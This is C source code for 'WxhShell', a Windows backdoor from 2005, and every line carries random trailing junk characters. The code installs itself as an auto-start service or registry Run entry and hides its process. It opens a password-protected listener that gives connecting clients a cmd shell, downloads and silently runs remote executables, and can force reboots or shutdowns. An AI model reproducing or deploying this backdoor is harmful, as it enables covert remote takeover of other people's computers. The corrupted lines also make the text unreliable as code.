    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xD,BlDV  
    if(Boot(SHUTDOWN)) ,H2[["1DH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CbVUz<  
    else { =[FNZ:3  
    closesocket(wsh); (2[tQ`~  
    ExitThread(0); 0hn N>?  
    } b\Y<1EV^[  
    break; >_jT.d  
    } h<f_Eo z-a  
  // 获取shell X&8&NkH  
  case 's': { mQhI"3! f  
    CmdShell(wsh); ) kfA5xi[  
    closesocket(wsh); %YlL-*7 L  
    ExitThread(0);  SS[jk  
    break; d`5xd@p  
  } X+z!?W*a  
  // 退出 --4,6va`e  
  case 'x': { ] +<[D2f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @@"}i7  
    CloseIt(wsh); W,9. z%  
    break; qT$;ZV #  
    } {`2! 3= "  
  // 离开 RZ-=UIf  
  case 'q': { )y4bb^;z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hCVe05  
    closesocket(wsh); 47 xyS%X  
    WSACleanup(); 0}C> e`<'  
    exit(1); tgSl (.  
    break; +!h~T5Ck  
        } kU{+@MA;  
  } dmI~$*  
  } Sio^FOTD  
.<%2ON_  
  // 提示信息 rp^= vfW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >-J%=P  
} %Hx8%G!  
  } h\| ~Q.kG  
GOrDDp  
  return; W^#HR  
} 7iMBDkb7  
v;m`d{(i2  
// shell模块句柄 H3\4&q  
int CmdShell(SOCKET sock) hEUS&`K  
{ <LL+\kfTZO  
STARTUPINFO si; H@Yj  
ZeroMemory(&si,sizeof(si)); zG-pqE6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (K9pr>le  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .TZ0F xW  
PROCESS_INFORMATION ProcessInfo; eajctkzj  
char cmdline[]="cmd"; " kp+1sG8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jB) RvvMU5  
  return 0; 1<|\df.  
} RN:VsopL  
{zzc/!|  
// 自身启动模式 h,-2+}  
int StartFromService(void) o]T-7Gs4p  
{ 4`E[ WE:Q  
typedef struct <"/b 5kc  
{ cPaz-  
  DWORD ExitStatus; @}9*rWJIE  
  DWORD PebBaseAddress; 6sceymq  
  DWORD AffinityMask; *^[m?3"W  
  DWORD BasePriority; RJ}%pA4I  
  ULONG UniqueProcessId; <&w(%<;  
  ULONG InheritedFromUniqueProcessId; ;OC~,?O5  
}   PROCESS_BASIC_INFORMATION; Q9T/@FX  
wFbw3>'a9  
PROCNTQSIP NtQueryInformationProcess; <S[]VXy  
up_Qv#`Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %u=b_4K"j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lZ,w#sqbY  
.+3~ w  
  HANDLE             hProcess; 0G; b+  
  PROCESS_BASIC_INFORMATION pbi; (1%O;D.*?{  
%Z~0vwY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,I|3.4z  
  if(NULL == hInst ) return 0; ATRB9  
~K$dQb])  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Pzt 5'O@dA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mETGYkPUa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fEJF3<UF&  
E;1QD/E$  
  if (!NtQueryInformationProcess) return 0; i<\WRzVT  
xaN[ru@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _ASyGmO{  
  if(!hProcess) return 0; "!S7D >2y#  
,vDSY N6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _^ZBSx09)  
\Gl>$5np  
  CloseHandle(hProcess); ,7:? Du}  
BbIg]E/G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )U|0vr8:  
if(hProcess==NULL) return 0; m!- R}PQC  
[iXkv\  
HMODULE hMod; R$m?aIN  
char procName[255];  u> @@  
unsigned long cbNeeded; ]Uj7f4)k  
0n/+X[%Ti  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <dWms`Qc O  
r91b]m3xL  
  CloseHandle(hProcess); jvQpf d  
$Wn!vbL  
if(strstr(procName,"services")) return 1; // 以服务启动 e;8nujdG"  
Mp`!zwR  
  return 0; // 注册表启动 #O1%k;BL  
} $y_P14  
'T+v&M  
// 主模块 IY,n7x0d  
int StartWxhshell(LPSTR lpCmdLine) 3D-VePM=`  
{ ) :VF^"  
  SOCKET wsl; !d Z:Ih.[{  
BOOL val=TRUE; +.J/7 gD  
  int port=0; gP2<L5&Z,  
  struct sockaddr_in door; i%GNm D  
LjySO2  
  if(wscfg.ws_autoins) Install(); 06]%$ -j  
{d '>J<Da  
port=atoi(lpCmdLine); BHf7\ +Ul  
 yJGnN g  
if(port<=0) port=wscfg.ws_port; bLSUF`-z  
}X9G(`N(}  
  WSADATA data; 7-Mm+4O9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Oj1B @QE  
M@=VIrX,m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,5}")T["u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 19;Pjo8  
  door.sin_family = AF_INET; PTH'-G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m\f}?t  
  door.sin_port = htons(port); J-ErG!  
IFbN ]N0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3Ct)5J  
closesocket(wsl); M*Ri1   
return 1; D+xPd<  
} rm%MQmF  
dO!B=/  
  if(listen(wsl,2) == INVALID_SOCKET) { cD'|zH]  
closesocket(wsl); v[]&yD  
return 1; 7OD2/{]5  
} 85rjM#~  
  Wxhshell(wsl); "?>hQM1R  
  WSACleanup(); ^wD@)Dz  
@ r/f  
return 0; #{g6'9PMz  
^=arKp,?5  
} (/jZ &4T  
YSr u5Q  
// 以NT服务方式启动 tY- `$U@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZjveXrx  
{ $H"(]>~  
DWORD   status = 0; -'uz%2 {  
  DWORD   specificError = 0xfffffff; 2h#_n'DV  
j4+kL4M@H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -"5r-qq*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uF\ ;m.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -DWnDku8=  
  serviceStatus.dwWin32ExitCode     = 0; 2`pg0ciX (  
  serviceStatus.dwServiceSpecificExitCode = 0; &5n0J  
  serviceStatus.dwCheckPoint       = 0; 6]fz;\DgP  
  serviceStatus.dwWaitHint       = 0; Y))x'<T'Q  
/JQY_>@W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z+]YB5zK%  
  if (hServiceStatusHandle==0) return; K9c5HuGy  
w0,rFWS  
status = GetLastError(); lj 2OOU{  
  if (status!=NO_ERROR) Jj7he(!_1  
{ ]] 50c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -op(26:W<  
    serviceStatus.dwCheckPoint       = 0; L+Q.y~  
    serviceStatus.dwWaitHint       = 0; fcisDu8n  
    serviceStatus.dwWin32ExitCode     = status; :tT6V(-W  
    serviceStatus.dwServiceSpecificExitCode = specificError; dReJ;x4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jbTsrj"g  
    return; hw 0u?++  
  } tB<|7  
5^C.}/#>F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6.k>J{GG  
  serviceStatus.dwCheckPoint       = 0; wg=-&-  
  serviceStatus.dwWaitHint       = 0; c3C<P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :NXM.@jJ="  
} LIfYpn6  
(}MN16!  
// 处理NT服务事件,比如:启动、停止 "w:?WS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4+q3 Kw  
{ hi^t zpy  
switch(fdwControl) []hC*  
{ 'L8B"5|>  
case SERVICE_CONTROL_STOP: vu`,:/|h  
  serviceStatus.dwWin32ExitCode = 0; L[O.]2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |%12Vr]J  
  serviceStatus.dwCheckPoint   = 0; 3oMhsQz~z  
  serviceStatus.dwWaitHint     = 0; %OAvhutS  
  { #9(L/)^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TyN]Pa  
  } p #Y2v  
  return; Q$8K-5U%  
case SERVICE_CONTROL_PAUSE: OpFm:j3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h4tAaPcS+  
  break; FwqaWEk  
case SERVICE_CONTROL_CONTINUE: !b8.XGo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EJ=ud9  
  break; r"&VG2c0K  
case SERVICE_CONTROL_INTERROGATE: LW*v/`@  
  break; DgODTxiX  
}; $n* wS,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dQJ)0!B  
} Z Z9D6+R  
UQ}#=[)2e  
// 标准应用程序主函数 VQ^}f/A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pd}Cg'}X  
{ T[ltOQw?Y  
=_Ip0FfK!  
// 获取操作系统版本 `XrF ,  
OsIsNt=GetOsVer(); .^V9XN{'a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n>W*y|UJ  
Qz`v0"'w  
  // 从命令行安装 _ls i,kg?  
  if(strpbrk(lpCmdLine,"iI")) Install(); m#`1.5%  
Z \>mAtm  
  // 下载执行文件 5DmW5w'p  
if(wscfg.ws_downexe) { 3NSX(gC%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !z2KQ 4C  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~TYpq;rq  
} _m*FHi  
4~~G i`XE  
if(!OsIsNt) { EGxCNB  
// 如果时win9x,隐藏进程并且设置为注册表启动 CqR^w(  
HideProc(); odh cU5  
StartWxhshell(lpCmdLine); nd,2EX<bE  
} >!W H%J  
else |OBh:d_B]  
  if(StartFromService()) /Jf}~}JP  
  // 以服务方式启动 J=6( 4>  
  StartServiceCtrlDispatcher(DispatchTable); CkR 95*  
else NM+ (ss'  
  // 普通方式启动 ndHUQ$/(  
  StartWxhshell(lpCmdLine); #83pitcc  
;VS$xnZ  
return 0; .O6(QI*  
} =XFyEt  
w@x||K=Z  
+*Zjo&pc  
:: s k)  
=========================================== IsiBn(1Z  
>hO9b;F}  
p(. z#o#  
47!k!cHa  
4(&sw<k  
P (aN6)D  
" :gTtWJ04]  
}///k]_Sh  
#include <stdio.h> _K3;$2d|R  
#include <string.h> RC!9@H5S#  
#include <windows.h> 3jjV bm  
#include <winsock2.h> #vzt6x@*  
#include <winsvc.h> )6{,y{5!  
#include <urlmon.h> ?g4S51zpp  
4 }NCdGD  
#pragma comment (lib, "Ws2_32.lib") w^MiyX  
#pragma comment (lib, "urlmon.lib") !md1~g$rN  
sp6A* mwl  
#define MAX_USER   100 // 最大客户端连接数 I ;F\'P)e  
#define BUF_SOCK   200 // sock buffer 1!;4I@W(I)  
#define KEY_BUFF   255 // 输入 buffer Y'yGhpT~  
LoW}!,|  
#define REBOOT     0   // 重启 3;F up4!4}  
#define SHUTDOWN   1   // 关机 B/I1<%Yk  
ZMGC@4^F  
#define DEF_PORT   5000 // 监听端口 mD7kOOMY  
,L\>mGw  
#define REG_LEN     16   // 注册表键长度 {_ {zs!r  
#define SVC_LEN     80   // NT服务名长度 o]<J&<WM  
}pKKNZ`[  
// 从dll定义API BBa!l e9P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6|QIzs<Z-X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <=%=,Yk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A8 !&Y;d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (w`j?c1  
WmuYHEU  
// wxhshell配置信息 "EnxVV  
struct WSCFG { nw0Tg= P  
  int ws_port;         // 监听端口 wQYW5X  
  char ws_passstr[REG_LEN]; // 口令 0zE(:K  
  int ws_autoins;       // 安装标记, 1=yes 0=no cToT_Mk  
  char ws_regname[REG_LEN]; // 注册表键名 D~)bAPAD  
  char ws_svcname[REG_LEN]; // 服务名 uQg&]bSv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 as"@E>a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +iw4>0pi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \hP.Q;"MtO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p. KT=dZT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JZ/T:Hsh4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nnCz!:9p  
t@jke  
}; PV-B<Y  
JhvT+"~  
// default Wxhshell configuration H__'K/nH+  
struct WSCFG wscfg={DEF_PORT, VYkUUp  
    "xuhuanlingzhe", ;&XC*R+  
    1, VyWzb  
    "Wxhshell", 's$/-AV  
    "Wxhshell", {Gw{W&<  
            "WxhShell Service", j-wKm_M#jX  
    "Wrsky Windows CmdShell Service", cC9haxW  
    "Please Input Your Password: ", `:W}yo<F  
  1, 0~e6\7={  
  "http://www.wrsky.com/wxhshell.exe", ($t;Xab  
  "Wxhshell.exe" >^D5D%"  
    }; Q}#xfrprF  
YwZ ]J  
// 消息定义模块 . dJBv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <GSp%r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IEY\l{s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5:%`&B\  
char *msg_ws_ext="\n\rExit."; Y)7\h:LIg  
char *msg_ws_end="\n\rQuit."; ?L6wky{  
char *msg_ws_boot="\n\rReboot..."; ( ; _AP.  
char *msg_ws_poff="\n\rShutdown..."; 7V&ly{</  
char *msg_ws_down="\n\rSave to "; +@~e9ZG%a  
bd[iD?epD]  
char *msg_ws_err="\n\rErr!"; k=9k4l  
char *msg_ws_ok="\n\rOK!"; ow;a7  
iyr<qtwK  
char ExeFile[MAX_PATH]; I7W?}bR*6  
int nUser = 0; ~|{_Go{ Q  
HANDLE handles[MAX_USER]; W Haf}.V  
int OsIsNt; 5>h/LE]"  
ps33&  
SERVICE_STATUS       serviceStatus; 9Dd`x7$ a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @/xdWN!,  
j|@8VxZ  
// 函数声明 +1c[!;'  
int Install(void); @{ L|&Mk!  
int Uninstall(void); {dlG3P='`f  
int DownloadFile(char *sURL, SOCKET wsh); kArF Gb2c  
int Boot(int flag); BwVq:)P/R  
void HideProc(void); Ss:'H H4  
int GetOsVer(void); DPfN*a-P(  
int Wxhshell(SOCKET wsl); VH] <o0  
void TalkWithClient(void *cs); \mqrDaB  
int CmdShell(SOCKET sock); Gn;^]8d  
int StartFromService(void); G<Urj+3/Xo  
int StartWxhshell(LPSTR lpCmdLine); -c#vWuLl  
fC/P W`4Ae  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B^.:dn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d"S\j@  
3dgPP@7d$  
// 数据结构和表定义 :0p$r pJP  
SERVICE_TABLE_ENTRY DispatchTable[] = 1";s #Jq  
{ ]'Gz~Z%>F  
{wscfg.ws_svcname, NTServiceMain}, 4wx{i6  
{NULL, NULL} uJa.]J~L=  
}; @*WrHoa2N  
+9M";'\c  
// 自我安装 .f|)od[  
int Install(void) 7?8+h  
{ dwb^z+   
  char svExeFile[MAX_PATH]; fsWPU]\)  
  HKEY key; $<L@B|}F)  
  strcpy(svExeFile,ExeFile); eTI?Mu>C  
ycf)*0k  
// 如果是win9x系统,修改注册表设为自启动 i0~Af`v  
if(!OsIsNt) { 9ZDbZc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9&s>RJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g|j15&x  
  RegCloseKey(key); vZPBjloT!.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o+}G/*O8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pz"}o#R"x  
  RegCloseKey(key); !:v7SRUXb  
  return 0; fM"&=X  
    } m@YK8 c#$  
  } 0XI6gPo%  
} AmrVxn4  
else { ,M$h3B\;r  
3il$V78|  
// 如果是NT以上系统,安装为系统服务 KLjvPT\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /Eu|Jg=I  
if (schSCManager!=0) ^JGwCHeb|H  
{ 4ZkaH(a1  
  SC_HANDLE schService = CreateService KfQ?b_H.  
  ( spWo{  
  schSCManager, ^OK;swDW  
  wscfg.ws_svcname, HrUE?Sq  
  wscfg.ws_svcdisp, c7nbHJi  
  SERVICE_ALL_ACCESS, Z_mQpt|y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u,]qrlx{  
  SERVICE_AUTO_START, @Thrizh  
  SERVICE_ERROR_NORMAL, nuw7pEW@?  
  svExeFile,  u5Mg  
  NULL, 2I 7|hZ,  
  NULL, )!;20Po  
  NULL, -op)X>  
  NULL, !t?5U_on  
  NULL tRNMiU  
  ); H#G3CD2&  
  if (schService!=0) Uy@:-NC)kn  
  { 2s}G6'xE]P  
  CloseServiceHandle(schService); x+v&3YF  
  CloseServiceHandle(schSCManager); '=J|IN7WT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3mL(xpT.8z  
  strcat(svExeFile,wscfg.ws_svcname); V7B%o:FZo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cH707?p/I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t ;fJ`.  
  RegCloseKey(key); 0qm CIcg  
  return 0; $"va8,  
    } 6q,CEm  
  } O\h%ZLjfO  
  CloseServiceHandle(schSCManager); 7cO1(yE#vr  
} 3,J{!  
} gUYTVp Vf  
(0Jr<16si$  
return 1; |hX\ep   
} 2>f3n W  
;@O8y\@  
// 自我卸载 (3=bKcD'  
int Uninstall(void) Z_>:p^id  
{ 5UX-Qqr  
  HKEY key; !E,|EdIr  
# wyjb:Ql  
if(!OsIsNt) { SZ:R~4 A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |W*2L] &  
  RegDeleteValue(key,wscfg.ws_regname); g[;&_gL  
  RegCloseKey(key); yM7FR);  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V7vojm4 O  
  RegDeleteValue(key,wscfg.ws_regname); 'a$/ !~X  
  RegCloseKey(key); bAUYJPRpy  
  return 0; X|L_}Q7  
  } >f D%lq;  
} N:EljzvP}  
} QBA{*@ A-  
else { ;Mr Q1  
h7S; 4]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3wQ\L=  
if (schSCManager!=0) /K;AbE  
{ X?]Mzcu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AjsjYThV  
  if (schService!=0) [q^pMH#U"  
  { xXJzE|)1h!  
  if(DeleteService(schService)!=0) { Y5*A,piq  
  CloseServiceHandle(schService); ^P`I"T d  
  CloseServiceHandle(schSCManager); p*JP='p  
  return 0; zLPCWP.u  
  } |T-Y tuy8  
  CloseServiceHandle(schService); W k"_lJ  
  } (e9hp2m  
  CloseServiceHandle(schSCManager); V'9OGn2v  
} z_). -  
} I]~s{I(EK  
^}kYJvqA  
return 1; QRF:6bAxsL  
} \2Kl]G(w%y  
C*Q x  
// 从指定url下载文件 $>Gf;k  
int DownloadFile(char *sURL, SOCKET wsh) 6K >(n  
{ lxBcO/  
  HRESULT hr; @;[.#hK  
char seps[]= "/"; VotI5O $  
char *token; 1M[|9nWUC  
char *file; S Z &[o&H  
char myURL[MAX_PATH]; FH;)5GGnv  
char myFILE[MAX_PATH]; 5yp  
=4Jg6JKYg  
strcpy(myURL,sURL); 3>^B%qg6  
  token=strtok(myURL,seps); YLV$#a3  
  while(token!=NULL) %F<3_#Y  
  { W\e!rq  
    file=token; K81&BVx/  
  token=strtok(NULL,seps); 54 f?YR  
  } iT1HbAT]  
x o72JJ  
GetCurrentDirectory(MAX_PATH,myFILE); myB!\ WY   
strcat(myFILE, "\\"); @!(V0-  
strcat(myFILE, file); prxmDI   
  send(wsh,myFILE,strlen(myFILE),0); O^R ^Aw  
send(wsh,"...",3,0); ?!bWUVC)_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i^/ H>E%u  
  if(hr==S_OK) ,UD5>Ai  
return 0; *Oy%($'  
else WW~QK2o-@  
return 1; o7g6*hJz  
6<UI%X  
} >JN[5aus  
BFn}~\wzK  
// 系统电源模块 ~ o5h}OU"  
int Boot(int flag)  TJb&f<  
{ |U="B4  
  HANDLE hToken; 1{wOjq(4  
  TOKEN_PRIVILEGES tkp; [_p&,$z8[  
M]e _@:!  
  if(OsIsNt) { yMf["AvG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a#,lf9M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +@#-S  
    tkp.PrivilegeCount = 1; H, O_l%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q5~fU$ ,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;[-y>qU0  
if(flag==REBOOT) { 3a,7lTUuB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7me1 :}4  
  return 0; Pe7% 9  
} _NM=9cWd  
else { 5W?r04  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v>mr  
  return 0; -Cf< #'x_  
} MbC&u:@ "v  
  } I*8_5?)g<  
  else { SyR[G*djl  
if(flag==REBOOT) { C8 2lT_7"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t8b,@J`R  
  return 0; aAkO>X%[  
} '=m ?l  
else { @Tf5YZ*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {-\VX2:;[9  
  return 0; uY=}w"Db  
} \o,`@2H+'  
} M7n|Z{?(  
q P>Gre  
return 1; nc%ly *  
} gj Ue{cb5  
_&6&sp<n  
// win9x进程隐藏模块 p[-bu B]  
void HideProc(void) FA;uu\  
{ u-E*_% y  
KA$l.6&d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cLe659&  
  if ( hKernel != NULL ) l]o&D))R  
  { &/A?*2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %8yX6`lH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #x|h@(y|  
    FreeLibrary(hKernel); U GJ# "9  
  } i<nUp1r(  
D +vHl}  
return; CzZm C]5  
} ?$xZ$zW  
YkLEK|d  
// 获取操作系统版本 CvtG  
int GetOsVer(void) u%=M4|7  
{ /Hl]$sJY  
  OSVERSIONINFO winfo; nAJ<@a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @cZNoD  
  GetVersionEx(&winfo); 0SBiMTm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 64OgE!  
  return 1; wg[D*a  
  else 'WG%O7s.  
  return 0; ~h{v^ }  
} 2*K _RMr~  
+;Jb)8  
// 客户端句柄模块 ggUJ -M'2h  
int Wxhshell(SOCKET wsl) 48BPo,nWR  
{ *gC6yQ2?  
  SOCKET wsh; f|1GlUA{t  
  struct sockaddr_in client; sCFqz[I  
  DWORD myID; b;O|-2AR  
it~>)_7*P  
  while(nUser<MAX_USER) }pa@qZXh  
{ m4~Co*]w  
  int nSize=sizeof(client); D@(Y.&_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -$4#eG%3  
  if(wsh==INVALID_SOCKET) return 1; ~',<7eW  
el*C8TWlw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E,nC}f  
if(handles[nUser]==0) }Z ws e%;  
  closesocket(wsh); ruLi "d  
else 6t|FuTC  
  nUser++; X'Dg= |  
  } k 4+F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PYl(~Vac  
H1'`* }V  
  return 0; MH`H[2<\!,  
} 37wm[ Z  
XU Hu=2F  
// 关闭 socket I% 43rdoPe  
void CloseIt(SOCKET wsh) P"%i 4-S  
{ !+4}x;!8  
closesocket(wsh); [g_Cg=J  
nUser--; Kv[,!P"Y  
ExitThread(0); SB1\SNB  
} dwKre#4F  
K4i#:7r'b  
// 客户端请求句柄 =~% B}T  
void TalkWithClient(void *cs) >WMH.5p  
{ xQa[bvW  
5r qjqfFa  
  SOCKET wsh=(SOCKET)cs; `5;O|qRq  
  char pwd[SVC_LEN]; 'g8~539{&  
  char cmd[KEY_BUFF]; 3VbQDPG  
char chr[1]; 9N|O*h1;u  
int i,j; ^.F@yo2}  
twqjaFA>  
  while (nUser < MAX_USER) { 7'_zJI^  
AA9OElCa  
if(wscfg.ws_passstr) { Z'PE^ ,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v6 DN:!&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !JjB,1  
  //ZeroMemory(pwd,KEY_BUFF); z]> 0A  
      i=0; y@J]busU  
  while(i<SVC_LEN) { *usfJ-  
2>#Pt^R:C  
  // 设置超时  gM20n^  
  fd_set FdRead; lDNB0Ad  
  struct timeval TimeOut; J4h7] qt  
  FD_ZERO(&FdRead); o(w1!spA  
  FD_SET(wsh,&FdRead); Pv{ {zyc  
  TimeOut.tv_sec=8; !'Xk=+  
  TimeOut.tv_usec=0; YMwMaU)K,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L@w|2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b#R3=TQS8  
i)P.Omr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g>x2[//pk  
  pwd=chr[0]; A0yRA+  
  if(chr[0]==0xd || chr[0]==0xa) { LpJ\OI*v  
  pwd=0; =M)>w4-  
  break; Y4}!9x  
  } `f}c 1  
  i++; 'Zf_/ y  
    } * I`, L/  
;RW!l pGjP  
  // 如果是非法用户,关闭 socket  mQBq-;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a_m P$4T  
} FZz\z p  
,IxAt&kN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Yva^JB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gVsAz  
&@c=$+#C  
while(1) { "8J$7g@n@  
]x?9lQ1&  
  ZeroMemory(cmd,KEY_BUFF); afv? z  
j/{F#auI  
      // 自动支持客户端 telnet标准   HQK%Y2S  
  j=0; tQbDP!,A*=  
  while(j<KEY_BUFF) { \i}n1Qd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x:O?Fj  
  cmd[j]=chr[0]; ]]Ypi=<'  
  if(chr[0]==0xa || chr[0]==0xd) { /OK.n3Tt  
  cmd[j]=0; 0K`3BuBs  
  break; ,<%Y.x%4z[  
  } "wmQ,=  
  j++; K!"[,=u_  
    } /d9I2~}B  
1j# ~:=I  
  // 下载文件 QQ!%lbMK]  
  if(strstr(cmd,"http://")) { >5#`j+8=q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [Oe$E5qv)]  
  if(DownloadFile(cmd,wsh)) uO>$,s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w#U3h]>,  
  else [#$-kd~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rJ]iJ0[I  
  } cBBc^SR  
